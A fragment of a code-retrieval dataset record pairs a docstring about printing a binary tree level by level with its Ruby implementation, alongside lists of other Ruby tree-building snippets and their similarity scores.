EnginesException.new('parent node not a tree node ', :error, parent_node) unless parent_node.is_a?(Tree::TreeNode)\n if address.is_a?(Hash)\n type_path = address[:type_path]\n else\n type_path = address\n end\n\n if type_path.include?('/')\n sub_paths = type_path.split('/')\n prior_node = parent_node\n count = 0\n sub_paths.each do |sub_path|\n sub_node = prior_node[sub_path]\n if sub_node.nil?\n sub_node = Tree::TreeNode.new(sub_path, sub_path)\n prior_node << sub_node\n end\n prior_node = sub_node\n count += 1\n return sub_node if count == sub_paths.count\n end\n else\n service_node = parent_node[type_path]\n unless service_node.is_a?(Tree::TreeNode)\n service_node = Tree::TreeNode.new(type_path, type_path)\n parent_node << service_node\n end\n return service_node\n end\n raise EnginesException.new('create_type_path failed', :error, type_path)\n rescue RuntimeError =>e #catch - RuntimeError - Child ? already added!\n STDERR.puts(\"RUNTIME ERR #{e.class.name}:#{e}\")\n raise EnginesException.new(\"#{e}\", :error, type_path)\n end", "def make_tree(pre, inord)\n return if pre.size == 0\n root_node = Node.new(pre[0])\n idx = inord.index(pre[0])\n root_node.left = make_tree(pre[1..idx], inord[0...idx])\n root_node.right = make_tree(pre[idx+1...pre.size], inord[idx+1...inord.size])\n return root_node\nend", "def build_move_tree #=> build the tree\n self.root_node = PolyTreeNode.new(start_pos) #=> root_node set to the start pos\n\n # build the tree out in breadth-first fashion\n nodes = [root_node]\n until nodes.empty?\n current_node = nodes.shift\n\n current_pos = current_node.value\n new_move_positions(current_pos).each do |next_pos|\n next_node = PolyTreeNode.new(next_pos)\n current_node.add_child(next_node)\n nodes << next_node\n end\n end\n end", "def insert(value)\n current_node = @root\n while nil != current_node\n if (value < current_node.value) && (current_node.left == nil)\n current_node.left = TreeNode.new(value,nil,nil)\n elsif (value > current_node.value) && (current_node.right == nil)\n current_node.right = TreeNode.new(value,nil,nil)\n elsif (value < current_node.value)\n current_node = current_node.left\n elsif (value > current_node.value)\n current_node = current_node.right\n else\n return\n end\n end\n end", "def build_tree(list)\n root = Node.new(list[0], nil)\n list[1...list.length].each do |item|\n current_node = root\n while !item.nil?\n if item > current_node.value\n if current_node.right_child.nil?\n current_node.right_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.right_child\n end\n elsif item < current_node.value\n if current_node.left_child.nil?\n current_node.left_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.left_child\n end\n else\n item = nil\n end\n end\n end\n root\nend", "def update_children_with_new_parent\n if path_changed? and not new_record? then\n old_path = (path_was.blank? ? id.to_s : \"#{path_was}.#{id}\")\n self.class.where(\"path <@ ?\", old_path).update_all([ \"path = TEXT2LTREE(REPLACE(LTREE2TEXT(path), ?, ?))\", old_path, my_path ])\n end\n end", "def build_tree_rec(preorder, inorder)\n if inorder.length != 0\n original = preorder.shift\n ind = inorder.index(original)\n root = TreeNode.new(inorder[ind])\n root.left = build_tree(preorder, inorder[0...ind])\n root.right = build_tree(preorder, inorder[ind + 1..-1])\n root\n end\nend", "def build_move_tree\n self.root_node = PolyTreeNode.new(start_pos) #instance variable\n \n queue = [root_node]\n until queue.empty?\n #pop,queue\n cur_node = queue.shift\n move_list = new_move_positions(cur_node.value)\n move_list.each do |pos|\n child_node = PolyTreeNode.new(pos)\n cur_node.add_child(child_node)\n queue << child_node\n end\n end\n end", "def insert(root, node)\n\t\tif node.nil?\n\t\t\tnil\n\t\telsif root.nil? \n\t\t\tself.root = node\n\t\telse\n\t\t\tgo_to_bottom(nil,node)\n\t\t\tparent_compare(node, node.parent)\n\t\tend\n\tend", "def insert(root, node)\n\t\tif node.nil?\n\t\t\tnil\n\t\telsif root.nil? \n\t\t\tself.root = node\n\t\telse\n\t\t\tgo_to_bottom(nil,node)\n\t\t\tparent_compare(node, node.parent)\n\t\tend\n\tend", "def calculate_down_child\n # Guard condition for movement not possible\n return nil if blank_y - 1 < 0\n\n # Make the movement\n new_state = swap_down\n\n # Avoids loop\n parents_array = parent_states(10)\n return nil if parents_array.include?(new_state)\n\n # Returns new node\n Node.new(new_state, self, blank_x, blank_y - 1)\n end", "def add_to_parent(new_entry, parent) \n index = 0\n parent.children.each do\n if(new_entry.cidr.packed_network < parent.children[index].cidr.packed_network)\n break\n end\n index += 1\n end\n\n parent.children.insert(index, new_entry)\n\n return()\n end", "def add_child(child)\n transaction do\n self.reload; child.reload # for compatibility with old version\n # the old version allows records with nil values for lft and rgt\n unless self[left_col_name] && self[right_col_name]\n if child[left_col_name] || child[right_col_name]\n raise ActiveRecord::ActiveRecordError, \"If parent lft or rgt are nil, you can't add a child with non-nil lft or rgt\"\n end\n base_set_class.update_all(\"#{left_col_name} = CASE \\\n WHEN id = #{self.id} \\\n THEN 1 \\\n WHEN id = #{child.id} \\\n THEN 3 \\\n ELSE #{left_col_name} END, \\\n #{right_col_name} = CASE \\\n WHEN id = #{self.id} \\\n THEN 2 \\\n WHEN id = #{child.id} \\\n THEN 4 \\\n ELSE #{right_col_name} END\",\n scope_condition)\n self.reload; child.reload\n end\n unless child[left_col_name] && child[right_col_name]\n maxright = base_set_class.maximum(right_col_name, :conditions => scope_condition) || 0\n base_set_class.update_all(\"#{left_col_name} = CASE \\\n WHEN id = #{child.id} \\\n THEN #{maxright + 1} \\\n ELSE #{left_col_name} END, \\\n #{right_col_name} = CASE \\\n WHEN id = #{child.id} \\\n THEN #{maxright + 2} \\\n ELSE #{right_col_name} END\",\n scope_condition)\n child.reload\n end\n \n child.move_to_child_of(self)\n # self.reload ## even though move_to calls target.reload, at least one object in the tests was not reloading (near the end of test_common_usage)\n end\n # self.reload\n # child.reload\n #\n # if child.root?\n # raise ActiveRecord::ActiveRecordError, \"Adding sub-tree isn\\'t currently supported\"\n # else\n # if ( (self[left_col_name] == nil) || (self[right_col_name] == nil) )\n # # Looks like we're now the root node! Woo\n # self[left_col_name] = 1\n # self[right_col_name] = 4\n # \n # # What do to do about validation?\n # return nil unless self.save\n # \n # child[parent_col_name] = self.id\n # child[left_col_name] = 2\n # child[right_col_name]= 3\n # return child.save\n # else\n # # OK, we need to add and shift everything else to the right\n # child[parent_col_name] = self.id\n # right_bound = self[right_col_name]\n # child[left_col_name] = right_bound\n # child[right_col_name] = right_bound + 1\n # self[right_col_name] += 2\n # self.class.transaction {\n # self.class.update_all( \"#{left_col_name} = (#{left_col_name} + 2)\", \"#{scope_condition} AND #{left_col_name} >= #{right_bound}\" )\n # self.class.update_all( \"#{right_col_name} = (#{right_col_name} + 2)\", \"#{scope_condition} AND #{right_col_name} >= #{right_bound}\" )\n # self.save\n # child.save\n # }\n # end\n # end\n end" ]
[ "0.6684141", "0.6645556", "0.63360727", "0.6290818", "0.626753", "0.62021494", "0.6194916", "0.61836714", "0.61578786", "0.6120916", "0.6091174", "0.60829717", "0.6071566", "0.6020305", "0.6007758", "0.5987953", "0.59781754", "0.5967891", "0.5957147", "0.5949755", "0.5942498", "0.5914578", "0.5913985", "0.59016836", "0.5895714", "0.58735996", "0.5871858", "0.5862133", "0.58593637", "0.5839308", "0.58370435", "0.58205247", "0.5800705", "0.5800042", "0.5797651", "0.57851547", "0.5781267", "0.57803553", "0.57780534", "0.5762003", "0.57377696", "0.57302326", "0.5723585", "0.57228357", "0.5714019", "0.57096326", "0.57093906", "0.5705717", "0.56993365", "0.56851447", "0.56824565", "0.56799704", "0.56587434", "0.56523013", "0.5650103", "0.56431925", "0.5636681", "0.56135136", "0.56085396", "0.5596032", "0.55893403", "0.5588361", "0.55686474", "0.55595046", "0.55594933", "0.55586755", "0.5554238", "0.55537623", "0.55480546", "0.5542575", "0.5539695", "0.55325395", "0.5530206", "0.5527783", "0.5527445", "0.552563", "0.5522764", "0.55059284", "0.5498381", "0.5495833", "0.5493951", "0.5492579", "0.5492146", "0.5482885", "0.54814637", "0.5477098", "0.54739535", "0.5463699", "0.54596025", "0.5459246", "0.5456699", "0.5434413", "0.5431653", "0.54316306", "0.54315466", "0.5419751", "0.5419751", "0.5416938", "0.54082084", "0.54057574" ]
0.54446495
91
Builds an array of text to print binary tree. Each array position is a row of text that represents one level of the tree. Position 0 is level 0 (toplevel, or Root), Position 1 is level 1, etc... (Uses fact that there are 2^n nodes in each level "n", level 0 = root level) This really only works well for smaller trees. Tree display starts to become distorted more and more at levels > 5, or if the string length of the node values is greater than 3.
def tree_levels_text_array text_rows = [] num_levels = num_tree_levels # set string size for spacing and "nil" nodes (with default if tree too big) max_length = (num_levels > 4) ? 2 : max_node_value_length blank_node = "_" * max_length # text for nil nodes cell_pad = " " * max_length # text for cell padding / spacing all_nodes = all_node_values_with_nil # array of all node values (breadth_first order) level = 0 cur_node = 0 # Track position in array "all_nodes" # track each tree level while level < num_levels level_exponent = num_levels - level - 1 # sets exponent series range # inner_padding: num spacing cell-pads between nodes (not before 1st node) inner_padding = sum_base_to_exponent_series(2, 0, level_exponent) # outer_padding: num spacing cell-pads before first node outer_padding = inner_padding - 2**(level_exponent) row_string = "" row_string << cell_pad * outer_padding num_nodes_in_row = 2**level # all_nodes is a "complete binary tree" # "counter" avoids adding inner_padding after last node on each level counter = 1 # track the node placement, from array "all_nodes" num_nodes_in_row.times do next_value = all_nodes[cur_node].nil? ? blank_node : all_nodes[cur_node].to_s row_string << next_value row_string << cell_pad * inner_padding unless counter == num_nodes_in_row cur_node += 1 counter += 1 end row_string << " (Root)" if level == 0 text_rows.push(row_string) level += 1 # must adjust padding before incrementing level end # Add display note if tree is empty text_rows[0] = "(Empty Tree: Root = nil)" if text_rows.empty? return text_rows end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_binary_tree\n text = tree_levels_text_array\n puts \"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n puts \"\\nBinary Tree Display:\\n \"\n text.each { |row| puts \"\\n\" + row }\n puts \"\\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n end", "def draw_tree\n result = ''\n max_cols = @n + 1\n calc_tree.each do |row|\n print = ' ' * ((max_cols - row.length) / 2) * max_cols\n print << row.join(' ')\n result << \"#{print}\\n\"\n end\n puts result\n end", "def createTextOutput(tree, width, height, divisions)\n\tareaMap = [ ]\n\ttextOutput = [ ]\n\tfor x in 0..width \n\t\tareaMap[x] = [ ]\n\t\tfor y in 0..height \n\t\t\tareaMap[x][y] = '#'\n\t\tend\n\tend\n\tareaMap = tree.displayTree(areaMap)\n\tsaveTextOutput(1, areaMap, width, height, divisions)\nend", "def calc_tree\n tree = []\n n = 1\n while n <= @n\n result = []\n result = [[0, 1]] if n == 1\n tree.each do |row|\n line1 = []\n line2 = []\n row.each_with_index do |elem, i|\n line1 << \"#{elem}0\" if i.positive?\n line2 << \"#{elem}0\" if i.zero?\n line2 << \"#{elem}1\"\n end\n result << line1 unless row.count == 1\n result << line2\n end\n tree = result\n n += 1\n end\n tree\n end", "def ascii_tree; end", "def to_tree() = puts(TTY::Tree.new({ '.' => as_tree }).render)", "def build_tree(arr)\n\tend", "def to_string_tree\n if ((@children).nil? || (@children.size).equal?(0))\n return self.to_s\n end\n buf = StringBuffer.new\n if (!is_nil)\n buf.append(\"(\")\n buf.append(self.to_s)\n buf.append(Character.new(?\\s.ord))\n end\n i = 0\n while !(@children).nil? && i < @children.size\n t = @children.get(i)\n if (i > 0)\n buf.append(Character.new(?\\s.ord))\n end\n buf.append(t.to_string_tree)\n i += 1\n end\n if (!is_nil)\n buf.append(\")\")\n end\n return buf.to_s\n end", "def tree_bank_string\n span = j_instance.getSpan\n text = j_instance.getText\n type = j_instance.getType\n res = ''\n start = span.getStart\n\n res << \"(#{type} \" if type != Java::opennlp.tools.parser.AbstractBottomUpParser::TOK_NODE\n\n j_instance.getChildren.each do |child|\n child_span = child.span\n res << text[start..child_span.getStart - 1] if start < child_span.getStart\n res << self.class.new(child).tree_bank_string\n start = child_span.getEnd\n end\n\n res << text[start..span.getEnd - 1] if start < span.getEnd\n res << ')' if type != Java::opennlp.tools.parser.AbstractBottomUpParser::TOK_NODE\n\n res\n end", "def build_tree(array)\n tree = TreeNode.new(array[0], 0)\n (1..array.length-1).each {|i|\n insert_into_tree(tree, array[i], i)\n }\n tree\nend", "def level_order_traversal\n array_to_be_string = []\n queue = []\n queue.push(@root)\n until queue.empty?\n current_node = queue.first\n array_to_be_string.push(current_node.data)\n queue.push(current_node.left_child) unless current_node.left_child.nil?\n queue.push(current_node.right_child) unless current_node.right_child.nil?\n queue.shift\n end\n array_to_be_string\n end", "def build_tree array\n\t\t@root = Node.new array[0]\n\t\t@nodes += 1\n\t\tarray[1..-1].each do |var|\n\t\t\tinsert(@root,var)\n\t\tend\n\tend", "def printf()\n #node object array\n children = []\n\n #info array\n arr = []\n arr.push(\"#{@root.title}: #{@root.rating}\")\n if @root.left != nil\n children.push(@root.left)\n end\n if @root.right != nil\n children.push(@root.right)\n end\n\n # adds nodes to children array AND pushes data to arr\n children.each do |node|\n if node.left != nil\n children.push(node.left)\n end\n if node.right != nil\n children.push(node.right)\n end\n arr.push(\"#{node.title}: #{node.rating}\")\n end\n\n puts arr\n end", "def build_tree(array)\n\t\t@root = Node.new(array.shift)\n\t\tarray.each { |value| add_node(value, @root)}\n\tend", "def build_tree(tree_size, input)\n nodes = Array.new(tree_size) { Node.new(nil, nil, nil) }\n\n tree_size.times do |i|\n line = input.next\n val, left, right = line.chomp.split.map(&:to_i)\n nodes[i].val = val\n nodes[i].left = nodes[left] unless left == -1\n nodes[i].right = nodes[right] unless right == -1\n end\n \n nodes.first\nend", "def to_s(depth = 0)\n\t\tind = \" \" * depth\n\t\tind + \"[#{nonTerminal}/#{decision}\" +\n\t\tif(children.size == 0)\n\t\t\t\"]\\n\"\n\t\telse\n\t\t\t\"\\n\" + children.map { |c| if(c.is_a?(String)) then ind + \" \" + c.inspect + \"\\n\" else c.to_s(depth+1) end }.join(\"\") + ind + \"]\\n\"\n\t\tend\n\tend", "def to_s(depth = 0)\n\t\tind = \" \" * depth\n\t\tind + \"[#{nonTerminal}/#{decision}\" +\n\t\tif(children.size == 0)\n\t\t\t\"]\\n\"\n\t\telse\n\t\t\t\"\\n\" + children.map { |c| if(c.is_a?(String)) then ind + \" \" + c.inspect + \"\\n\" else c.to_s(depth+1) end }.join(\"\") + ind + \"]\\n\"\n\t\tend\n\tend", "def print_tree(array , item, level)\n items = array[item]\n unless items == nil\n indent = level > 0 ? sprintf(\"%#{level * 2}s\", \" \") : \"\"\n items.each do |e|\n puts \"#{indent}-#{e[:title]}\"\n print_tree(e, level + 1)\n end\n end\nend", "def serialize(root, array)\n if root == nil\n array.push('N')\n return\n else\n array.push(root.val)\n serialize(root.left, array)\n serialize(root.right, array)\n end\n array.join(\",\")\nend", "def build_tree(arr)\n @root = insert_node(nil, arr.shift)\n arr.each { |value| insert_node(@root, value) }\n end", "def build_tree(array)\n return nil if array.empty?\n\n mid = (array.length - 1) / 2\n node = Node.new(array[mid])\n node.left = build_tree(array[0...mid])\n node.right = build_tree(array[mid+1..-1])\n node\n end", "def pre_order_array(tree)\n output = tree.nil? || tree.data == 0 ? \"\" : tree.data.to_s + \" \"\n left = tree.left.nil? ? \"\" : pre_order_array(tree.left)\n right = tree.right.nil? ? \"\" : pre_order_array(tree.right)\n output + left + right\nend", "def produce_tree(ary); end", "def build_tree(array)\n\t\t@root = Node.new(array[0])\n\t\ttemp_root = @root\n\n\t\tarray[1..-1].each do |node_value|\n\t\t\tinsert_node(node_value, temp_root)\n\t\tend\n\tend", "def build_tree(array)\n return nil if array.empty?\n \n middle = (array.size - 1) / 2\n root_node = Node.new(array[middle])\n \n root_node.left = build_tree(array[0...middle])\n root_node.right = build_tree(array[(middle + 1)..-1])\n \n root_node\n end", "def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end", "def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end", "def level_order_print(tree)\n unless tree\n return\n end\n\n nodes = [tree]\n current_line_count = 1\n next_line_count = 0\n\n while nodes.length != 0\n current_node = nodes.shift\n current_line_count -= 1\n print current_node.key.to_s + ' '\n if current_node.left_child\n nodes.push(current_node.left_child)\n next_line_count += 1\n end\n if current_node.right_child\n nodes.push(current_node.right_child)\n next_line_count += 1\n end\n if current_line_count == 0\n # finished printing current level\n puts ''\n current_line_count = next_line_count\n next_line_count = current_line_count\n end\n end\nend", "def build_tree(arr)\n @root = Node.new(arr.shift)\n arr.each { |data| insert_data(data, @root) }\n end", "def build\n nodes = []\n chars = []\n\n expression.each_char do |character|\n\n if '(' == character\n\n chars << character\n\n elsif /\\d+/.match(character)\n\n nodes.push Tree.new(character.to_i)\n\n elsif operands.include?(character)\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars << Operation::OPERATIONS[character].new\n\n elsif ')' == character\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars.pop\n\n end\n\n end\n\n unless nodes.empty? && chars.empty?\n self.root = Tree.new(chars.pop)\n root.right = nodes.pop\n root.left = nodes.pop\n end\n\n raise \"Ka-Blam! You still have nodes and/or chars\" if nodes.any? || chars.any?\n\n root\n end", "def build_tree(data_array)\n @root = nil # overwrites tree, even if array is empty\n data_array.each_with_index do |data, index|\n if index == 0\n @root = Node.new(data)\n else\n set_next_node(data)\n end\n end\n end", "def print_tree\n ''\n end", "def render_tree(elements, symbols, parents = [])\n i = 0\n x = elements.map do |li|\n last = elements.length == i+1\n\n current = indentation(parents, last, symbols) + li[:value]\n\n children = \"\"\n if li[:children].length > 0\n children = \"\\n\" + render_tree(li[:children], symbols, parents + [last])\n end\n\n i += 1\n current + children\n end\n\n x.join(\"\\n\")\n end", "def build_tree(data_array)\n root = nil\n \n data_array.each do |elem|\n cur_node = root\n \n node = Node.new(elem)\n\tnode.children = Array.new(2, nil)\n\t\n\twhile !cur_node.nil?\n\t if elem < cur_node.value\n\t if cur_node.children[0].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[0] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[0]\n\t else\n\t if cur_node.children[1].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[1] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[1]\n\t end\n\tend\n\t\n\troot ||= node\n\t \n end\n \n root\nend", "def build_tree(array)\n\t\t@root_node = Node.new(array[array.length / 2])\n\t\tarray[array.length / 2] = nil\n\t\tcounter = 0\n\t\tuntil counter == array.length\n\t\t\tset_value(array[counter], @root_node) if array[counter] != nil\n\t\t\tcounter += 1\n\t\tend\n\n\tend", "def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend", "def render\n\t\t\ttree.flatten.map(&:to_s).join\n\t\tend", "def print_tree(level = 0)\n if is_root?\n print \"\\n*\"\n else\n print \"|\" unless parent.is_root?\n print(' ' * (level - 1) * 4)\n print(is_root? ? \"+\" : \"|\")\n print \"---\"\n print(has_children? ? \"+\" : \">\")\n end\n\n if content\n content_hash = content.split(\"[\").first\n else\n content_hash = nil\n end\n\n puts \" #{content}\" + \" <Type: \" + (@node_type || \"no_type\") + \">\"\n\n children { |child| child.print_tree(level + 1)}\n end", "def _display_tree(max_length=20, tabs='')\n\t\tif(@type != '')\n\t\t\tprint(tabs + \"[\" + @type + ((@param != '')? '(' + @param.to_s + ')': '') + \"]\\n\")\n\t\telse\n\t\t\tprint(tabs + \"[TEMPLATE:\" + @template.template_file + \"]\\n\")\n\t\tend\n\n\t\tfor content in @contents\n\t\t\tif(content.is_a?(SifterElement))\n\t\t\t\tcontent._display_tree(max_length, tabs + \"\\t\")\n\t\t\telsif(content.is_a?(SifterTemplate))\n\t\t\t\tcontent._display_tree(max_length, tabs + \"\\t\")\n\t\t\telse\n\t\t\t\tcontent.gsub!(/[\\r\\n]/, ' ')\n\t\t\t\tprint(tabs + \"\\t[TEXT:\" + content[0, max_length] + \"]\\n\")\n\t\t\tend\n\t\tend\n\tend", "def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest ranking words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end", "def buildTree( prefixArray )\n return nil if prefixArray.empty?\n value = prefixArray.pop\n if( root.nil? )\n @root = TreeNode.new(value, nil, nil)\n # the right child comes before left since prefixArray \n # is really a _stack_\n @root.rightChild = buildTree( prefixArray )\n @root.leftChild = buildTree( prefixArray )\n elsif( isOp?(value) )\n newNode = TreeNode.new(value, nil, nil)\n newNode.rightChild = buildTree( prefixArray )\n newNode.leftChild = buildTree( prefixArray )\n return newNode\n else\n return TreeNode.new(value, nil, nil)\n end\n end", "def printf\n output = []\n children = []\n output.push(\"#{@root.title}: #{@root.rating}\")\n if @root.left != nil\n children.push(@root.left)\n end\n if @root.right != nil\n children.push(@root.right)\n end\n children.each do |i|\n output.push(\"#{i.title}: #{i.rating}\")\n if i.left != nil\n children.push(i.left)\n end\n if i.right != nil\n children.push(i.right)\n end\n end\n puts output\n end", "def printTree()\n def pTree(node, i)\n puts node.toString i\n node.children.each do|child|\n pTree(child, i+1)\n end\n end\n pTree(@root, 0)\n end", "def build_tree array\n\t\t@root = Node.new(array.shift)\n\t\tparent = @root\n\t\tarray.each do |el|\n\t\t\twhile true\n\t\t\t\tif el <= parent.value\n\t\t\t\t\tif parent.left_child.nil?\n\t\t\t\t\t\tparent.left_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.left_child\n\t\t\t\t\tend\n\t\t\t\telsif el > parent.value\n\t\t\t\t\tif parent.right_child.nil?\n\t\t\t\t\t\tparent.right_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.right_child\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end", "def custom_tree\n\t\t#if they haven't made a shrink range/trunk yet, make one for them\n\t\tif $shrink_range.empty?\n\t\t\t$shrink_Range = (4..6).to_a\n\t\tend\n\t\tif $trunk.empty?\n\t\t\t$trunk = (175..250).to_a\n\t\tend\n\t\t\n\t\t@shrink = \"0.#{$shrink_range[0]}\".to_f\n\t\t#Height is 600, so y is in (0,600)\n\t\t$angle_of_separation = (@window.mouse_y / 10).to_i #this gives max of 60 degree angle, min of 0 (line)\n\t\t\n\t\t@branches = []\n\t\t@branches << [ [[@x, Height - @bot_margin], [@x, Height - $trunk[0]]] ]\n\t\t#Width is 800, so x is in (0,800)\n\t\t$num_splits = (((@window.mouse_x) / 100).to_i)+2 #this gives max of 8+2=10 splits, min of 2\n\t\t\n\t\tputs \"This output is from Custom Tree\"\n\t\tputs \"Number of splits: #{$num_splits}\"\t\n\t\tputs \"Angle of separation: #{$angle_of_separation}\"\n\t\tputs \"Shrink range: #{$shrink_range[0]} to #{$shrink_range[$shrink_range.length-1]}\"\n\t\tputs \"Split range: #{$split_range}\"\t\t\n\t\tputs \"Initial branch length: #{$trunk[0]} to #{$trunk[$trunk.length-1]}\"\n\t end", "def build_tree\n c1 = ComponentNode.new(110)\n c2 = ComponentNode.new(20)\n c3 = ComponentNode.new(20)\n c4 = ComponentNode.new(150)\n c5 = ComponentNode.new(80)\n c6 = ComponentNode.new(120, [c1, c2, c3])\n c7 = ComponentNode.new(180, [c4, c5])\n return(ComponentNode.new(200, [c6, c7]))\n end", "def build(node)\n\n # add <node.name to write_array\n @write_array << \"<#{node.name}\"\n\n # if node has classes, append them to last element of write array\n unless node.classes == nil\n @write_array[-1] = @write_array[-1] + \" classes=\\\"#{node.classes.join(\" \")}\\\"\"\n end\n\n # if node has id's, append them to last element of write array. else append closing bracket\n if node.id == nil\n @write_array[-1] = @write_array[-1] + \">\\n\"\n else\n @write_array[-1] = @write_array[-1] + \" id=\\\"#{node.id}\\\">\\n\"\n end\n\n # add tag text to array if available\n unless node.text == \"\"\n @write_array << node.text + \"\\n\"\n end\n\n # build children\n unless node.children == []\n node.children.each do |child|\n build(child)\n end\n else\n @write_array << \"</#{node.name}>\\n\"\n return\n end\n\n # add closing tag e.g. </html>\n @write_array << \"</#{node.name}>\\n\"\n\n end", "def populate(array)\n @root = Node.new({type: :document}, [], nil, 0)\n @total_nodes += 1\n @max_depth = 0\n current_node = @root\n current_depth = 0\n array.each do |hash|\n # opening tag - create new node\n if NODE_DOWN.include? hash[:type]\n #if <> depth += 1\n new_node = Node.new(hash, [], current_node, current_node.depth + 1)\n current_node.children << new_node\n current_node = new_node\n current_depth += 1\n @total_nodes += 1\n else #hash[:type] == \"close\"\n #if </> depth -= 1\n new_node = Node.new(hash, [], current_node, current_node.depth)\n current_node.children << new_node\n current_node = current_node.parent\n current_depth -= 1\n @total_nodes += 1\n end\n\n if current_depth > @max_depth\n @max_depth = current_depth\n end\n\n if hash[:type] == :text && current_node.children.empty?\n current_depth -= 1\n current_node = current_node.parent\n end\n end\n self\n end", "def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend", "def show_tree\n htmltree = \"\"\n self.each { |node| \n htmltree += \"<li><a href='#{normalize(node.name)}'>\"\n htmltree += '&nbsp; ' * node.node_depth * 3\n htmltree += \"#{node.name}</a></li>\\n\"\n }\n htmltree\n end", "def latex_qtree\n \"\\\\Tree \" + to_s(delim='[]', nonterm_prefix='.')\n end", "def nested_array_to_html(nodes)\n classes = \"depth-#{ nodes.first[:depth] }\"\n classes += \" folder-tree\" if nodes.first[:depth].zero?\n\n html = \"<ul class=\\\"#{ classes }\\\">\"\n nodes.each do |node|\n html += \"<li>\"\n\n if node[:children]\n html += '<i class=\"icon-folder-close\"></i>'\n else\n html += '<i class=\"icon-file-alt\"></i>'\n end\n\n html += \"<span class=\\\"name\\\">#{ node[:name].strip }</span>\"\n unless (node[:children].nil? || node[:children].empty?)\n html += nested_array_to_html(node[:children]) \n end\n html += '</li>'\n end\n\n html += '</ul>'\n\n html\n end", "def array_tree\n return @array_tree if @array_tree\n @description.strip!\n #@description.gsub!(/[^\\s()]+/, '\"\\0\"')\n @description.gsub!(/[^\\s()]+/) {|w| '\"'+w.gsub('\"', '\\'')+'\"'}\n @description.gsub!('(', '[')\n @description.gsub!(')', ']')\n @description.gsub!(/\\s+/,\" \")\n @description.gsub!(' ', ', ')\n @description.gsub!('\\\\', '\\\\\\\\\\\\')\n begin\n @array_tree = eval(@description) # TODO safety level\n rescue Exception => ex\n puts \"Error while parsing:\\n#{@description}\"\n end\n @array_tree\n end", "def suffix_tree text, suff_arr, lcp\n sufs = suff_arr.map{|i| text[i..(text.length - 1)]}\n labels = []\nend", "def build_tree( arr, first_index = 0, last_index = arr.length - 1 )\n return nil if first_index > last_index\n \n middle_of_array = (first_index + last_index)/2\n \n root = Node.new(arr[middle_of_array])\n \n root.left_child = build_tree(arr, first_index, middle_of_array - 1)\n root.right_child = build_tree(arr, middle_of_array + 1, last_index)\n \n return root \n end", "def to_s\n return \"Empty 2-3 tree\" unless @root\n \"2-3 Tree\\nroot: \" + @root.to_s(0)\n end", "def display_tree(an_array)\r\n an_array.length\r\n count = 1\r\n (count - 1).upto(count) do\r\n end\r\nend", "def build_tree(elements)\n return if elements.empty?\n char = elements.shift\n node = BinaryTree.new(char)\n if char == \"I\"\n node.left = build_tree(elements)\n node.right = build_tree(elements)\n end\n return node\nend", "def render\n path = [[root,0]]\n current_height = 0\n\n while (current, height = path.shift)\n next if nil_node_proc.call(current)\n # don't print empty leafs\n next if height >= max_height\n\n # height increased: we print the / \\ separator\n if height > current_height\n current_height += 1\n print_height_separator(current_height)\n end\n\n current.render(padding(height))\n\n # navigate left\n if !nil_node_proc.call(current.l)\n path.push([current.l, height + 1])\n elsif height < max_height\n path.push([EmptyNode.from_node(current), height + 1])\n end\n\n # navigate right\n if !nil_node_proc.call(current.r)\n path.push([current.r, height + 1])\n elsif height < max_height\n path.push([EmptyNode.from_node(current), height + 1])\n end\n end\n puts \"\\n\"\n end", "def generate_tree\n root =\tTreeNode.new(3)\n root.left =\tTreeNode.new(9)\n right = \t\tTreeNode.new(20)\n right.left = \tTreeNode.new(15)\n right.right = TreeNode.new(7)\n root.right = \tright\n root\nend", "def 